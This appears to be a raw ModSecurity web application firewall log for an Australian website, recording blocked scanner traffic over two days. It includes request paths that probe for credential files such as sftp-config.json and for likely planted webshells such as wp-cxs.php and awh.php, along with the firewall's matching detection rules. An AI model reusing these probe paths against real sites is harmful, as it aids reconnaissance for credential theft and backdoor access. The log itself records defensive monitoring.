[Mon Mar 30 07:59:55.979428 2026] [:error] [pid 35250:tid 35329] [client 54.37.252.130:60356] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acm8-4aKM1MR6zcp2YMvqQAAANI"]
[Mon Mar 30 07:59:58.522428 2026] [:error] [pid 35250:tid 35311] [client 54.37.252.130:53198] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acm8_oaKM1MR6zcp2YMvsQAAAMA"]
[Mon Mar 30 08:00:01.118283 2026] [:error] [pid 35343:tid 35353] [client 54.37.252.130:53214] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acm9AaP5HurqmbvwN-LuBAAAAAg"]
[Mon Mar 30 08:00:03.624031 2026] [:error] [pid 35343:tid 35347] [client 54.37.252.130:53226] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acm9A6P5HurqmbvwN-LuDAAAAAI"]
[Mon Mar 30 08:00:06.107975 2026] [:error] [pid 35249:tid 35302] [client 54.37.252.130:53230] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acm9BiqCKiTq85d6rgDdEgAAAJI"]
[Mon Mar 30 08:00:08.577926 2026] [:error] [pid 35248:tid 35260] [client 54.37.252.130:59228] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acm9CL3igMCgAQPFS_9MlgAAAEY"]
[Mon Mar 30 08:00:11.228542 2026] [:error] [pid 35343:tid 35351] [client 54.37.252.130:59232] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acm9C6P5HurqmbvwN-LuHwAAAAY"]
[Mon Mar 30 08:00:13.857913 2026] [:error] [pid 35249:tid 35305] [client 54.37.252.130:59238] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acm9DSqCKiTq85d6rgDdGQAAAJU"]
[Mon Mar 30 08:00:16.345247 2026] [:error] [pid 35248:tid 35257] [client 54.37.252.130:59242] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acm9EL3igMCgAQPFS_9MqgAAAEM"]
[Mon Mar 30 08:00:18.877091 2026] [:error] [pid 35248:tid 35264] [client 54.37.252.130:54524] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acm9Er3igMCgAQPFS_9MuQAAAEo"]
[Mon Mar 30 08:00:21.379839 2026] [:error] [pid 35250:tid 35313] [client 54.37.252.130:54530] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acm9FYaKM1MR6zcp2YMv3gAAAMI"]
[Mon Mar 30 08:00:23.878682 2026] [:error] [pid 35343:tid 35362] [client 54.37.252.130:54546] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acm9F6P5HurqmbvwN-LuPwAAABE"]
[Mon Mar 30 08:00:26.542287 2026] [:error] [pid 35343:tid 35367] [client 54.37.252.130:54548] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acm9GqP5HurqmbvwN-LuTQAAABY"]
[Mon Mar 30 08:00:28.969801 2026] [:error] [pid 35343:tid 35354] [client 54.37.252.130:53062] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acm9HKP5HurqmbvwN-LuUAAAAAk"]
[Mon Mar 30 08:00:31.465379 2026] [:error] [pid 35249:tid 35291] [client 54.37.252.130:53076] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acm9HyqCKiTq85d6rgDdNQAAAIc"]
[Mon Mar 30 08:00:34.059748 2026] [:error] [pid 35343:tid 35363] [client 54.37.252.130:53078] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acm9IqP5HurqmbvwN-LuXgAAABI"]
[Mon Mar 30 08:00:36.746413 2026] [:error] [pid 35250:tid 35316] [client 54.37.252.130:53092] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acm9JIaKM1MR6zcp2YMv8gAAAMU"]
[Mon Mar 30 08:00:58.064762 2026] [:error] [pid 35248:tid 35260] [client 54.37.252.130:55174] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acm9Or3igMCgAQPFS_9NHwAAAEY"]
[Mon Mar 30 08:01:00.429964 2026] [:error] [pid 35248:tid 35273] [client 54.37.252.130:42636] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acm9PL3igMCgAQPFS_9NKgAAAFM"]
[Mon Mar 30 08:01:02.947598 2026] [:error] [pid 35343:tid 35354] [client 54.37.252.130:42644] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acm9PqP5HurqmbvwN-LuygAAAAk"]
[Mon Mar 30 08:01:05.438440 2026] [:error] [pid 35343:tid 35348] [client 54.37.252.130:42654] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acm9QaP5HurqmbvwN-Lu1QAAAAM"]
[Mon Mar 30 08:01:07.958218 2026] [:error] [pid 35343:tid 35359] [client 54.37.252.130:44242] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acm9Q6P5HurqmbvwN-Lu4gAAAA4"]
[Mon Mar 30 08:01:10.454246 2026] [:error] [pid 35343:tid 35365] [client 54.37.252.130:44252] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acm9RqP5HurqmbvwN-Lu7gAAABQ"]
[Mon Mar 30 10:39:27.056496 2026] [:error] [pid 35248:tid 35269] [client 43.138.68.113:55820] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acniX73igMCgAQPFS__hYAAAAE8"]
[Mon Mar 30 13:44:08.990419 2026] [:error] [pid 35249:tid 35304] [client 67.203.33.169:60336] [client 67.203.33.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "acoNqCqCKiTq85d6rgAxZQAAAJQ"]
[Mon Mar 30 13:44:11.005368 2026] [:error] [pid 35250:tid 35330] [client 104.168.126.136:26540] [client 104.168.126.136] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "sftp-config.json" at REQUEST_COOKIES:handl_landing_page. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||measureyourbrand.com.au|F|2"] [data "Matched Data: sftp-config.json found within REQUEST_COOKIES:handl_landing_page: https:/realrawnepal.com.au/sftp-config.json"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "measureyourbrand.com.au"] [uri "/index.php/.vscode/sftp.json"] [unique_id "acoNq4aKM1MR6zcp2YPQvAAAANM"]
[Mon Mar 30 15:18:48.839758 2026] [:error] [pid 51065:tid 51078] [client 43.135.145.77:40528] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acoj2HMr8wtZeHSSB7IJ2gAAAcs"]
[Mon Mar 30 16:24:59.502084 2026] [:error] [pid 50663:tid 50689] [client 43.153.36.110:47846] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acozW228b9DKIAMEdfD0-wAAAZg"]
[Mon Mar 30 18:44:55.112148 2026] [:error] [pid 35248:tid 35277] [client 157.50.166.248:59923] [client 157.50.166.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.50.166.248, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acpUJ73igMCgAQPFS_-A6gAAAFc"]
[Mon Mar 30 19:56:24.471729 2026] [:error] [pid 35250:tid 35322] [client 43.153.104.196:45382] [client 43.153.104.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acpk6IaKM1MR6zcp2YNtbAAAAMs"]
[Mon Mar 30 23:47:56.065732 2026] [:error] [pid 63557:tid 63567] [client 182.42.110.255:48182] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acqbLK4QNVlzYgEvIjnWlQAAAQg"]
[Tue Mar 31 00:10:48.908120 2026] [:error] [pid 60747:tid 60808] [client 43.166.130.123:49106] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acqgiAU3IY-cCpy_-zFczgAAAMU"]
[Tue Mar 31 00:21:41.787093 2026] [:error] [pid 31673:tid 31695] [client 4.205.211.88:39920] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acqjFRV3ylEnW1IQOCnymAAAAdQ"]
[Tue Mar 31 00:21:42.212554 2026] [:error] [pid 60745:tid 60753] [client 4.205.211.88:39879] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acqjFiQDBn75QnHaPb9mWgAAAEQ"]
[Tue Mar 31 00:21:42.644626 2026] [:error] [pid 60746:tid 60799] [client 4.205.211.88:39884] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acqjFp4kQrgjDdAbQCpGaAAAAJc"]
[Tue Mar 31 00:21:43.063884 2026] [:error] [pid 60746:tid 60794] [client 4.205.211.88:39823] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acqjF54kQrgjDdAbQCpGaQAAAJI"]
[Tue Mar 31 00:21:43.485196 2026] [:error] [pid 31577:tid 31596] [client 4.205.211.88:39932] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acqjF3OcPMUnrUQjB4JctAAAAZE"]
[Tue Mar 31 00:21:43.900389 2026] [:error] [pid 31705:tid 31719] [client 4.205.211.88:39897] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acqjF7h0Asyt0lXzJSw7SwAAAgw"]
[Tue Mar 31 00:21:44.329544 2026] [:error] [pid 60745:tid 60759] [client 4.205.211.88:39873] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acqjGCQDBn75QnHaPb9mXgAAAEo"]
[Tue Mar 31 00:21:44.793818 2026] [:error] [pid 60746:tid 60780] [client 4.205.211.88:39885] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acqjGJ4kQrgjDdAbQCpGawAAAIQ"]
[Tue Mar 31 00:21:45.230407 2026] [:error] [pid 31735:tid 31739] [client 4.205.211.88:39886] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acqjGT-CFgIllBeFWWFOZQAAAkI"]
[Tue Mar 31 00:21:45.650763 2026] [:error] [pid 60746:tid 60782] [client 4.205.211.88:39894] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acqjGZ4kQrgjDdAbQCpGbgAAAIY"]
[Tue Mar 31 00:21:46.063856 2026] [:error] [pid 60835:tid 60853] [client 4.205.211.88:39912] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acqjGgIOJ4Lc0iJVRzwYHQAAABA"]
[Tue Mar 31 00:21:46.486321 2026] [:error] [pid 31673:tid 31698] [client 4.205.211.88:39880] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acqjGhV3ylEnW1IQOCnymgAAAdc"]
[Tue Mar 31 00:21:46.899177 2026] [:error] [pid 63557:tid 63579] [client 4.205.211.88:39901] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acqjGq4QNVlzYgEvIjnkjQAAARQ"]
[Tue Mar 31 00:21:47.322088 2026] [:error] [pid 60745:tid 60749] [client 4.205.211.88:39818] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acqjGyQDBn75QnHaPb9mYQAAAEA"]
[Tue Mar 31 00:21:47.741048 2026] [:error] [pid 60746:tid 60788] [client 4.205.211.88:39813] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acqjG54kQrgjDdAbQCpGdQAAAIw"]
[Tue Mar 31 00:21:48.168222 2026] [:error] [pid 31577:tid 31602] [client 4.205.211.88:39850] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acqjHHOcPMUnrUQjB4JcugAAAZc"]
[Tue Mar 31 00:21:48.597114 2026] [:error] [pid 60745:tid 60765] [client 4.205.211.88:39893] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "acqjHCQDBn75QnHaPb9mZQAAAFA"]
[Tue Mar 31 00:21:49.039081 2026] [:error] [pid 60745:tid 60759] [client 4.205.211.88:39923] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "acqjHSQDBn75QnHaPb9mZwAAAEo"]
[Tue Mar 31 00:21:49.495790 2026] [:error] [pid 60745:tid 60770] [client 4.205.211.88:39908] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "acqjHSQDBn75QnHaPb9magAAAFU"]
[Tue Mar 31 00:21:49.962495 2026] [:error] [pid 60835:tid 60839] [client 4.205.211.88:39826] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24.php"] [unique_id "acqjHQIOJ4Lc0iJVRzwYIwAAAAI"]
